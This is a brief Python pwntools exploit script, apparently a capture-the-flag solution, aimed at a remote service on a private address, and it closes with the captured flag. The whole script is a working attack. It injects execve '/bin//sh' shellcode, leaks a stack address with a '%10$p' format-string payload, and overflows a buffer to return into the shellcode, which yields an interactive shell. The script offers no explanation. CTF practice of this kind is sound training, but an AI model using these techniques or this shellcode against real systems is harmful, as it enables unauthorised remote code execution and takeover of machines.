#!/usr/bin/env python 

from pwn import *

# 1 edi
# 2 esi
# 3 edx
# 4 ecx
# 5 r8d
# 6 r9d
# 7 rax->[rsp]
# 8 rax->[rsp+8]

# %10$p ->  ebp 
# %19$p ->  __libc_start_main+245
# name -> ebp-0x20

r = remote('192.168.31.25',12003)
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
r.sendlineafter(': ',shellcode)
r.sendlineafter('> ','2')
r.sendlineafter('\n','%10$p')
res = r.recvuntil('goodbye')
ebp =  res.split('\n')[0]
name = int(ebp,16)-0x20
print 'EBP =',ebp
print 'name =',hex(name)
r.sendlineafter('> ','4')
r.sendlineafter(')','n')
r.sendlineafter('> ','3')
r.sendlineafter('hello',('A'*24+p64(name)).ljust(0x20,'\x00'))

r.interactive()


# AD{hack...hack...hack...shell}
